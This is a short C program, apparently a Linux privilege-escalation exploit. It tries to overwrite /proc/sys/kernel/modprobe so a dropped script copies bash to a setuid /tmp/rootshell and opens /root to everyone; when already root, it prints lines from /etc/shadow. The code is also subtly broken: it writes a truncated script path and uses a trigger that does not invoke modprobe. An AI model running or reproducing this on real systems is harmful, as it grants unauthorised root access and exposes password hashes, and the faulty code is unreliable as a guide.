#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <net/if.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>

// Simple modprobe_path overwrite exploit
// For testing: just try to overwrite /proc/sys/kernel/modprobe

int main() {
    // Check kernel version
    system("uname -a");
    
    // Try simple test - if unshare works, we have the right conditions
    if (geteuid() == 0) {
        printf("Already root!\n");
        system("id");
        system("cat /etc/shadow | head -3");
        return 0;
    }
    
    printf("Current uid: %d, gid: %d\n", getuid(), getgid());
    
    // Test if we can write to modprobe_path
    int fd = open("/proc/sys/kernel/modprobe", O_WRONLY);
    if (fd >= 0) {
        printf("Writable modprobe_path - simple win!\n");
        write(fd, "/tmp/win.sh", 10);
        close(fd);
        
        // Create win script
        FILE *fp = fopen("/tmp/win.sh", "w");
        fprintf(fp, "#!/bin/sh\nchmod 777 /root\necho PWNED > /tmp/pwned.txt\ncp /bin/bash /tmp/rootshell\nchmod 4777 /tmp/rootshell\n");
        fclose(fp);
        chmod("/tmp/win.sh", 0755);
        
        // Trigger modprobe by running an invalid binary
        system("/tmp/notexist.$(uname -m) 2>/dev/null");
        
        // Check result
        system("ls -la /tmp/rootshell 2>/dev/null");
        return 0;
    }
    
    printf("modprobe_path not writable directly\n");
    return 1;
}